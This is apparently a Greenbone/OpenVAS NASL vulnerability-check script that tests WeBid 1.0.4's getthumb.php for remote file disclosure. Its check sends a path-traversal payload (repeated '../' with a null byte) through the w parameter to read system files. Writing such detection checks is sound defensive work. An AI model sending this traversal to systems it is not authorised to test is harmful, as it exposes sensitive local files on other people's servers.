WeBid 'getthumb.php' Remote File Disclosure Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:webidsupport:webid";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103542");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");

  script_name("WeBid 'getthumb.php' Remote File Disclosure Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55080");

  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2012-08-18 14:06:33 +0200 (Sat, 18 Aug 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_webid_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("webid/installed");
  script_tag(name:"summary", value:"WeBid is prone to a remote file-disclosure vulnerability because it
fails to adequately validate user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this vulnerability would allow an attacker to obtain
potentially sensitive information from local files on computers
running the vulnerable application. This may aid in further attacks.");

  script_tag(name:"affected", value:"WeBid 1.0.4 is vulnerable, other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");


if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

files = traversal_files();

foreach file (keys(files)) {

  url = dir + '/getthumb.php?fromfile=getthumb.php&w=' + crap(data:"../", length:6*9) + files[file] + '%00';

  if(http_vuln_check(port:port, url:url,pattern:file)) {

    security_message(port:port);
    exit(0);

  }
}

exit(0);